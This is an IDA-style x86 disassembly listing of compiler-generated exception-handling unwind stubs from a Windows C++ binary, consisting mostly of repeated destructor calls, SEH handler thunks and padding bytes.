; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438638: ; DATA XREF: ___:0043ECE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4076F0 proc near ; DATA XREF: sub_4076F0+8o
mov eax, offset dword_43ECB8
jmp sub_4367C8
SEH_4076F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43865B: ; DATA XREF: ___:0043ED1Co
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2FCh]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_407790 proc near ; DATA XREF: sub_407790+2o
mov eax, offset dword_43ECF0
jmp sub_4367C8
SEH_407790 endp
; ---------------------------------------------------------------------------
db 0CAh dup(0CCh)
dd 0E9C84D8Dh, 75C56A4Dh
; ---------------------------------------------------------------------------
loc_438A38: ; DATA XREF: ___:00409582o
lea edi, dword_43F098[eax]
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40A290 proc near ; DATA XREF: sub_40A290+2o
mov eax, offset dword_43F0C8
jmp sub_4367C8
SEH_40A290 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_438A86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438A86: ; CODE XREF: ___:00438A78j
retn
; ---------------------------------------------------------------------------
loc_438A87: ; DATA XREF: ___:0043F124o
lea ecx, [ebp-34h]
jmp sub_40158C
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40A430 proc near ; DATA XREF: sub_40A430+2o
mov eax, offset dword_43F0F8
jmp sub_4367C8
SEH_40A430 endp
; ---------------------------------------------------------------------------
align 10h
dd 0E9C84D8Dh, 75C569CDh
; ---------------------------------------------------------------------------
push ebx
loc_438AB9: ; DATA XREF: ___:0040A952o
mov eax, offset dword_43F138
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_40AE10 proc near ; DATA XREF: sub_40AE10+5o
mov eax, offset dword_43F168
jmp sub_4367C8
SEH_40AE10 endp
; ---------------------------------------------------------------------------
align 10h
loc_438AE0: ; DATA XREF: ___:0040AF95o
mov eax, offset dword_43F1C8
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438AFB: ; DATA XREF: ___:0043F254o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_401555
; =============== S U B R O U T I N E =======================================
SEH_40B0B0 proc near ; DATA XREF: sub_40B0B0+2o
mov eax, offset dword_43F228
jmp sub_4367C8
SEH_40B0B0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438B4B: ; DATA XREF: ___:0043F29Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_401555
; =============== S U B R O U T I N E =======================================
SEH_40B170 proc near ; DATA XREF: sub_40B170+2o
mov eax, offset dword_43F270
jmp sub_4367C8
SEH_40B170 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40B210 proc near ; DATA XREF: sub_40B210+2o
mov eax, offset dword_43F2B8
jmp sub_4367C8
SEH_40B210 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438BC8: ; DATA XREF: ___:0043F324o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40B430 proc near ; DATA XREF: sub_40B430+2o
mov eax, offset dword_43F2F8
jmp sub_4367C8
SEH_40B430 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438BF8: ; DATA XREF: ___:0040B5F2o
mov eax, offset dword_43F338
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438C30: ; DATA XREF: ___:0040B8D8o
mov eax, offset dword_43F368
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40C360 proc near ; DATA XREF: sub_40C360+2o
mov eax, offset dword_43F3B0
jmp sub_4367C8
SEH_40C360 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A78h]
jmp loc_401AFF
; ---------------------------------------------------------------------------
loc_438C7B: ; DATA XREF: ___:0043F40Co
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438C86: ; DATA XREF: ___:0043F414o
lea ecx, [ebp-0A54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40C400 proc near ; DATA XREF: sub_40C400+8o
mov eax, offset dword_43F3E0
jmp sub_4367C8
SEH_40C400 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40CB10 proc near ; DATA XREF: sub_40CB10+2o
mov eax, offset dword_43F428
jmp sub_4367C8
SEH_40CB10 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-260h]
jmp loc_40226B
; ---------------------------------------------------------------------------
loc_438CEB: ; DATA XREF: ___:0043F484o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438CF6: ; DATA XREF: ___:0043F48Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D01: ; DATA XREF: ___:0043F494o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D0C: ; DATA XREF: ___:0043F49Co
lea ecx, [ebp-278h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40CBB0 proc near ; DATA XREF: sub_40CBB0+8o
mov eax, offset dword_43F458
jmp sub_4367C8
SEH_40CBB0 endp
; ---------------------------------------------------------------------------
db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D4B: ; DATA XREF: ___:0043F4D4o
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40CE60 proc near ; DATA XREF: sub_40CE60+2o
mov eax, offset dword_43F4A8
jmp sub_4367C8
SEH_40CE60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D7B: ; DATA XREF: ___:0043F50Co
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438D86: ; DATA XREF: ___:0040CEE2o
mov eax, offset dword_43F4E0
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40D130 proc near ; DATA XREF: sub_40D130+2o
mov eax, offset dword_43F518
jmp sub_4367C8
SEH_40D130 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-16Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438DEB: ; DATA XREF: ___:0043F58Co
lea ecx, [ebp-184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40D580 proc near ; DATA XREF: sub_40D580+2o
mov eax, offset dword_43F560
jmp sub_4367C8
SEH_40D580 endp
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-5ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-604h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-634h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-664h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-67Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-61Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-58Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-694h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-64Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40DB40 proc near ; DATA XREF: sub_40DB40+2o
mov eax, offset dword_43F5D0
jmp sub_4367C8
SEH_40DB40 endp
; ---------------------------------------------------------------------------
db 27h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438F28: ; DATA XREF: ___:0043F694o
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40E220 proc near ; DATA XREF: sub_40E220+2o
mov eax, offset dword_43F668
jmp sub_4367C8
SEH_40E220 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438F78: ; DATA XREF: ___:0043F6ECo
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40E7A0 proc near ; DATA XREF: sub_40E7A0+2o
mov eax, offset dword_43F6C0
jmp sub_4367C8
SEH_40E7A0 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438FC8: ; DATA XREF: ___:0043F744o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40EC30 proc near ; DATA XREF: sub_40EC30+2o
mov eax, offset dword_43F718
jmp sub_4367C8
SEH_40EC30 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40ED70 proc near ; DATA XREF: sub_40ED70+2o
mov eax, offset dword_43F758
jmp sub_4367C8
SEH_40ED70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439018: ; DATA XREF: ___:0043F7B4o
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439048: ; DATA XREF: ___:0040F148o
mov eax, offset dword_43F788
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_439078: ; DATA XREF: ___:0043F814o
mov ecx, [ebp-28h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2ACh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2DAh
jmp sub_401B54
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_40F600 proc near ; DATA XREF: sub_40F600+2o
mov eax, offset dword_43F7E8
jmp sub_4367C8
SEH_40F600 endp
; ---------------------------------------------------------------------------
db 69h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_439268: ; DATA XREF: ___:0043F974o
mov ecx, [ebp-10h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2ACh
jmp sub_401023
; =============== S U B R O U T I N E =======================================
SEH_40FDA0 proc near ; DATA XREF: sub_40FDA0+2o
mov eax, offset dword_43F948
jmp sub_4367C8
SEH_40FDA0 endp
; ---------------------------------------------------------------------------
db 47h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-247Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43939B: ; DATA XREF: ___:0043FA2Co
lea ecx, [ebp-210Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-207Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393B1: ; DATA XREF: ___:0043FA3Co
lea ecx, [ebp-237Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393BC: ; DATA XREF: ___:0043FA44o
lea ecx, [ebp-21CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393C7: ; DATA XREF: ___:0043FA4Co
lea ecx, [ebp-234Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393D2: ; DATA XREF: ___:0043FA54o
lea ecx, [ebp-2064h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393DD: ; DATA XREF: ___:0043FA5Co
lea ecx, [ebp-231Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393E8: ; DATA XREF: ___:0043FA64o
lea ecx, [ebp-219Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4393F3: ; DATA XREF: ___:0043FA6Co
lea ecx, [ebp-20DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-22ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439409: ; DATA XREF: ___:0043FA7Co
lea ecx, [ebp-22BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439414: ; DATA XREF: ___:0043FA84o
lea ecx, [ebp-23DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43941F: ; DATA XREF: ___:0043FA8Co
lea ecx, [ebp-216Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43942A: ; DATA XREF: ___:0043FA94o
lea ecx, [ebp-2424h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-23F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-228Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-225Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439499: ; DATA XREF: ___:0043FADCo
lea ecx, [ebp-213Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394A4: ; DATA XREF: ___:0043FAE4o
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4394B2: ; DATA XREF: ___:0043FAECo
mov eax, [ebp-2480h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-21FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-222Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394E1: ; DATA XREF: ___:0043FB0Co
lea ecx, [ebp-2394h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394F7: ; DATA XREF: ___:0043FB1Co
lea ecx, [ebp-2334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2364h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43950D: ; DATA XREF: ___:0043FB2Co
lea ecx, [ebp-2304h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439518: ; DATA XREF: ___:0043FB34o
lea ecx, [ebp-22D4h]
jmp sub_401226
